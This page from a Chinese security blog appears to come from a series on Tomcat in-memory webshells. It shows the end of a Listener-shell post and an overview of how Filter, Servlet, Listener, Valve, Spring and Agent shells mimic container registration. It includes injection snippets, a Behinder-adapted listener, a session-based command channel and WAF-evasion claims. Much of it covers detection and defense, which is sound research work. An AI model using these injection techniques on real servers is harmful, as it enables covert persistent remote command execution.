Tomcat 版本 Servlet 包 说明
8.x / 9.x javax.servlet 本系列代码适用
10.x / 11.x jakarta.servlet 需全局替换包名
  • addApplicationEventListener() 是 Context 接口的 public 方法,无需反射,Tomcat 8/9/10/11 行为一致;10+ 仅需替换包名。
  • 两步反射回显依赖的字段 RequestFacade.request、connector.Request.response 在不同大版本间 相对稳定,但属于私有字段,字段名变更时回显会失败,实战前需确认目标版本。
  • 增强版原代码中 Runtime.exec(cmd) 单字符串版本不会经过 shell 解析,管道/参数无法生效, 已统一改为 ProcessBuilder + /bin/sh -c(或 cmd /c),并通过 redirectErrorStream 合并错误流,避免死锁。

五、利用场景

5.1 反序列化 → Listener 注入(最隐蔽)

// 反序列化 payload 中的代码片段
// 优势:不修改 FilterDef / FilterMap / Wrapper,躲过绝大多数监控
StandardContext context = (StandardContext) request.getContext();
context.addApplicationEventListener(new ListenerMemShell());

5.2 绕过 Filter 监控型 WAF

WAF 监控:
  ✅ filterDefs 变化
  ✅ filterMaps 变化  
  ❌ applicationEventListenersList 变化(盲区)

攻击者 → 注入 Listener 内存马 → WAF 完全无感知

5.3 Session 型内存马(低频隐蔽通道)

不通过 URL 参数,而是通过 Session 属性传递命令:

// 访问一个普通页面(创建 Session)
GET /index.html
Cookie: JSESSIONID=ABC123

// 在 Session 中设置命令(通过其他漏洞,如反序列化)
session.setAttribute("__cmd__", "whoami");

// 再次访问,触发 session 事件(如 Session 过期重新创建)
// → sessionCreated() → 读取 __cmd__ → 执行 → 清除属性

这种方式不通过 URL 参数传递命令,流量特征极小。

5.4 冰蝎 / 哥斯拉适配

// 冰蝎 Listener 内存马适配
public class BehinderListenerMemShell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        
        // 解析冰蝎加密数据
        String encryptedData = request.getHeader("X-BeHinder");
        if (encryptedData != null) {
            String decrypted = BehinderCrypto.decrypt(encryptedData);
            // ... 执行逻辑
        }
    }
}

六、检测方式

6.1 JMX 检查

# 查看所有应用事件监听器
jconsole → MBeans → Catalina → Context → /your-app
  → Operations → findApplicationListeners()

6.2 Arthas 在线排查

# 查看 StandardContext 中的监听器列表
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].applicationEventListenersList' \
  --limit 10

# 搜索实现了 Listener 接口的可疑类
sc *.*Listener

# 查看所有 ServletRequestListener 实例
vmtool --action getInstances \
  --className javax.servlet.ServletRequestListener \
  --express 'instances' \
  --limit 20

6.3 内存分析

# Dump 内存
jmap -dump:live,format=b,file=listener.hprof <pid>

# MAT 中搜索
# 1. 列出所有实现 ServletRequestListener 的实例
# 2. 检查类名是否在应用依赖中
# 3. 对比部署包中 web.xml 的监听器配置

6.4 运行时代码扫描

// 获取所有已注册监听器
for (Object listener : context.getApplicationEventListeners()) {
    String className = listener.getClass().getName();
    // 过滤标准库类
    if (className.startsWith("org.apache.") || 
        className.startsWith("org.springframework.")) {
        continue;
    }
    // 检查类来源(jar 包/动态生成)
    ProtectionDomain pd = listener.getClass().getProtectionDomain();
    CodeSource cs = pd.getCodeSource();
    System.out.println("[CHECK] " + className + " → " + cs.getLocation());
}

七、防御建议

层面 措施 说明
RASP Hook addApplicationEventListener() 监控非启动阶段的调用
JVM Agent 监控 applicationEventListenersList 的 add() 操作 捕获动态注入行为
Security Manager 限制反射访问 Request.response 字段 阻断回显通道
巡检脚本 定期对比 Listener 基线 发现异常监听器
// RASP Hook 示例:拦截 Listener 动态注册
@RuntimeType
public static void onAddEventListener(@This StandardContext context,
                                       @Argument(0) Object listener) {
    // 判断是否在启动阶段
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 正常启动流程,放行
        }
    }
    // 非启动阶段的 addApplicationEventListener → 告警
    SecurityAlert.alert("Suspicious Listener registration", 
        listener.getClass().getName(), stack);
    throw new SecurityException("Runtime Listener injection blocked");
}

八、总结

Listener 内存马是三种 Tomcat 内存马中隐蔽性最高的一种:

特性 Filter Servlet Listener
注入难度 ⭐⭐⭐ ⭐⭐ ⭐(最简单)
触发时机 Filter 链 Servlet 处理 请求到达瞬间
隐蔽性 ⭐⭐⭐ ⭐⭐⭐⭐ ⭐⭐⭐⭐⭐(最高)
监控覆盖 常见 较少 极少

核心理由:

  1. context.addApplicationEventListener() 是 public 方法,无需反射
  2. Listener 在 Filter 之前执行,不受 Filter 链影响
  3. 大多数安全产品不监控 Listener 注册
  4. applicationEventListenersList 是 CopyOnWriteArrayList,可以随时安全地动态添加

攻击者偏好排序(综合隐蔽性与功能):

  1. Listener — 最隐蔽,最简单
  2. Filter — 最灵活,覆盖面最广
  3. Servlet — 备选通道,特定场景
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马 Tomcat基础
阅读全文 »

内存马原理总纲

发表于 2025-12-26 | 分类于 漏洞分析 |

内存马原理总纲

本系列的总纲篇。前面的文章按”类型”拆开讲了 Filter / Servlet / Listener / Valve / Agent / Spring / WebSocket 各自的内存马;这一篇回答为什么会有内存马,以及每一种内存马到底在模拟容器的哪一步。

本文涉及的 Tomcat 调用链均已用 javap 对 Tomcat 8.5.39 的 catalina.jar 逐一核实,不是凭记忆写的。


一、为什么会有内存马

一句话:内存马的本质,是把「恶意代码 + 触发条件」在运行时动态组装进容器的注册表/调度机制,让容器像调度正常组件一样调度它。

1.1 动态注册是容器/框架的合法能力

Web 容器和框架天生支持运行时动态注册组件——这是给插件化、热部署、监控用的设计:

容器/框架 动态注册能力 用途
Tomcat addFilterDef / addChild / addApplicationEventListener / Pipeline.addValve 运行时加 Filter / Servlet / Listener / Valve
Spring MVC registerMapping / 拦截器装配 动态加路由 / 拦截器
JVM Instrumentation.addTransformer + retransformClasses APM、热更新

1.2 容器眼里,组件只是「(代码, 触发条件)」

组件 代码 触发条件
Filter doFilter 逻辑 URL pattern
Servlet service 逻辑 URL path
Listener 回调方法 事件
Valve invoke 逻辑 请求进入容器
Controller 方法体 路由
Agent 插入代码 字节码 方法被调用

容器的调度机制只认”注册表里有没有”,不关心代码来源——jar、注解扫描、配置文件、运行时反射塞进去的,对容器没有区别。攻击者拿到代码执行后,就能模拟正常的注册过程,把恶意代码和触发条件填进注册表。

1.3 对比文件型 webshell

  • JSP webshell = 「磁盘文件(代码)」+「URL 映射」两个都在磁盘上,删文件即失效;
  • 内存马 = 把「代码 + 映射」直接组装进运行时的注册表,磁盘上什么都没有,随进程存活。

所以内存马存在的根本原因:动态注册是合法特性,容器无法区分运行时注册的是正常组件还是恶意组件。


二、Tomcat 请求处理总链路(8.5.39 实测调用链)

先把一条 HTTP 请求从进入到返回的真实调用链画出来(所有类.方法均经 javap 核实):

CoyoteAdapter.service()
  → Mapper.map()                        // URL 路由:定位 Host / Context / Wrapper
  → StandardEngineValve.invoke()        // Engine 管道的基础阀
  → StandardHostValve.invoke()          // Host 管道的基础阀
      └→ fireRequestInitEvent(request)  // ← Listener 内存马的触发点
  → StandardContextValve.invoke()       // Context 管道的基础阀
  → StandardWrapperValve.invoke()       // Wrapper 管道的基础阀
      ├→ StandardWrapper.allocate()     // 拿 Servlet 实例
      └→ ApplicationFilterFactory.createFilterChain()   // ← Filter 内存马的"组装点"
          → ApplicationFilterChain.doFilter()
            → internalDoFilter()        // ← Agent 内存马的 hook 点
              → Filter1.doFilter() ... FilterN.doFilter()
              → servlet.service()       // ← Servlet 内存马的执行点

关键观察:这条链的每一环,都对应一种内存马的”插入点”:

  • 请求还没进 Filter 链,StandardHostValve 就先派发 Listener 事件 → Listener 型在这里;
  • ApplicationFilterFactory 按注册表构建 Filter 链 → Filter 型在这里;
  • 链的终点是 servlet.service() → Servlet 型在这里;
  • 四个容器各自的 Pipeline → Valve 型可以挂在任意一段;
  • internalDoFilter 是每个请求必经的方法体 → Agent 型直接改它的字节码。

三、逐类:正常注册流程 vs 内存马模拟

下表”正常流程”列的是容器启动/请求时的真实调用(类.方法 + 作用);”内存马模拟”列的是攻击者用哪个 API/反射替代它。所有方法均对 8.5.39 javap 核实。

3.1 Filter 内存马

步骤 正常流程(类.方法 → 作用) 内存马模拟
1 ContextConfig 解析 web.xml / @WebFilter 反射拿 StandardContext
2 构造 FilterDef(filterName+filterClass) 构造 FilterDef,filterClass = 恶意类
3 构造 FilterMap(URL 模式) 构造 FilterMap,/*
4 StandardContext.filterStart():遍历 filterDefs → new ApplicationFilterConfig(Context, FilterDef) → 存 filterConfigs 反射调用同一个构造器 ApplicationFilterConfig(Context, FilterDef) 并放进 filterConfigs
5 请求时 ApplicationFilterFactory.createFilterChain():遍历 findFilterMaps() → filterConfigs.get(name) → chain.addFilter(config) 恶意 Filter 已在这三个集合里,被当作普通 Filter 一起调度

本质:模拟 addFilterDef + addFilterMap + ApplicationFilterConfig 构造,把「恶意 doFilter 代码 + /* 映射」组装进 filterDefs / filterMaps / filterConfigs。

3.2 Servlet 内存马

步骤 正常流程(类.方法 → 作用) 内存马模拟
1 StandardContext.createWrapper() 创建 Wrapper 同方法
2 StandardContext.addChild(wrapper) → 存 children(启动时自动 child.start()) 同方法,setServletClass 指向恶意类(或 setServlet(实例))
3 StandardContext.addServletMappingDecoded(pattern, name) → 写 servletMappings + Mapper 同方法,pattern=/shell
4 请求时 CoyoteAdapter.service() → Mapper.map() 路由到 Wrapper → StandardWrapperValve.invoke() → allocate() → service() 访问 /shell 即命中

本质:模拟 createWrapper + addChild + addServletMappingDecoded,把「恶意 service 代码 + 精确路径」组装进 children + Mapper。

3.3 Listener 内存马

步骤 正常流程(类.方法 → 作用) 内存马模拟
1 ContextConfig 注册监听器 直接 addApplicationEventListener(new EvilListener())
2 StandardContext.addApplicationEventListener() → applicationEventListenersList.add(listener) 同一个 public 方法
3 请求时 StandardHostValve.invoke() → Context.fireRequestInitEvent() → 遍历 getApplicationEventListeners() → instanceof ServletRequestListener → listener.requestInitialized() 恶意 Listener 已在列表里,每个请求到达即触发

本质:模拟 addApplicationEventListener,把「恶意回调 + 请求到达事件」组装进监听器列表。触发条件不需要 URL 映射——事件由容器自动派发。

3.4 Valve 内存马

步骤 正常流程(类.方法 → 作用) 内存马模拟
1 ContainerBase.addValve(valve) → Pipeline.addValve(valve) + valve.setContainer(this) + valve.start() 同方法 getPipeline().addValve(new EvilValve())
2 StandardPipeline.addValve():设 first,valve.setNext(...) 链到基础阀前 同方法,无需反射
3 请求进入容器时沿 Pipeline 逐个 invoke() 恶意 Valve 在管道上,任何请求都经过

本质:模拟 Pipeline.addValve,把「恶意 invoke 代码 + 请求进入容器」组装进管道。比 Filter 更底层——不碰 URL 映射,404、静态资源都经过。

3.5 Spring Interceptor / Controller 内存马

类型 正常流程(类.方法 → 作用) 内存马模拟
Interceptor 配置声明 → AbstractHandlerMapping 启动时适配进 adaptedInterceptors 列表;请求时 getHandlerExecutionChain() 遍历、preHandle() 反射取 adaptedInterceptors(private final List,可 add),把恶意 HandlerInterceptor add 进去
Controller 启动扫描 @RequestMapping → registerHandlerMethod() 填 mappingRegistry 直接调 public RequestMappingHandlerMapping.registerMapping(info, handler, method)

本质:Interceptor 模拟”装配拦截器链”,把恶意 preHandle + 每个请求组装进 adaptedInterceptors;Controller 模拟”登记路由”,把恶意方法 + /evil 组装进 mappingRegistry。

3.6 Agent 内存马

步骤 正常流程(类.方法 → 作用) 内存马模拟
1 JVM 加载类时若有 ClassFileTransformer 则回调 attach 后 inst.addTransformer(t, true)
2 APM/热更新对已加载类用 retransformClasses() 同方法,定位 ApplicationFilterChain
3 转换器返回修改后的字节码 javassist insertBefore 在 internalDoFilter 开头插入命令执行,return 短路

本质:这里的”组装”不再是往注册表加条目,而是直接改写代码本身的位置——恶意代码成了正常方法体的一部分。所以最难检测:无新组件、无新映射、类名原装。


四、统一视角

类型 模拟的注册过程 恶意代码 触发条件 组装进
Filter addFilterDef/addFilterMap/ApplicationFilterConfig doFilter URL /* StandardContext 三个集合
Servlet createWrapper/addChild/addServletMappingDecoded service 精确路径 children + Mapper
Listener addApplicationEventListener requestInitialized 请求事件 监听器列表
Valve Pipeline.addValve invoke 进入容器 管道
Spring Interceptor 装配 adaptedInterceptors preHandle 每个请求 拦截器链
Spring Controller registerMapping 控制器方法 路由 mappingRegistry
Agent Instrumentation retransform 插入方法体 方法调用 类字节码

五、为什么难检测,防御总思路

  1. 文件侧失效:内存马无磁盘文件,文件扫描、目录审计看不到。
  2. 注册表难区分:它用的是和正常组件完全相同的注册接口(addValve、addApplicationEventListener、registerMapping 等),容器无法在”注册行为”层面区分。
  3. 因此防御必须转向”行为检测”:
    • 事前:修复反序列化 / 表达式注入等 RCE 漏洞,切断”先拿到代码执行”这个前提;
    • 事中:RASP 监控 addValve / addFilterDef / registerMapping / retransformClasses 等注册调用,判断调用栈是否来自启动阶段、线程是否可疑;
    • 事后:周期性对比运行时注册表基线(Filter 列表 / Servlet 映射 / Listener / 管道 Valve / Spring HandlerMapping),以及 JVM 字节码 diff(Agent 型)。

六、系列导航

  • Tomcat Filter 内存马
  • Tomcat Servlet 内存马
  • Tomcat Listener 内存马
  • Tomcat Valve 内存马
  • Java Agent 内存马
  • Spring 容器内存马
  • WebSocket / Executor / Upgrade 内存马(偏门型)
  • 反序列化与 JNDI 无文件注入内存马
  • TomcatEcho 无 request 命令回显
  • Fastjson 实战注入内存马
  • 内存马检测与清除实操

七、阅读建议与通用说明

  • 阅读顺序:建议先读本篇(总纲)建立整体框架,再按需读各分篇;各分篇之间用”延伸阅读”互相跳转。
  • 命令执行代码:各分篇里的 exec 方法(ProcessBuilder + redirectErrorStream(true))都是同一套写法——合并 stderr、字节循环读取,避免命令输出与错误流互相阻塞;因各篇需自包含而重复出现。
  • JSP 触发脚本的两种形态:
    • 讲解简化:Filter / Servlet / Listener 三篇正文里的 JSP 直接引用注入器类,假设恶意类已部署,便于阅读(已标注);
    • 自包含(真实可用):Valve 篇 3.4 与测试工程里的 JSP 把恶意类内联进 <%! %>,单独一个文件即可完成注入——真实利用(上传 JSP)应使用这种形态。
阅读全文 »
1 … 3 4
江流

江流

人生若只如初见,何事悲风秋画扇。

33 日志
18 分类
107 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次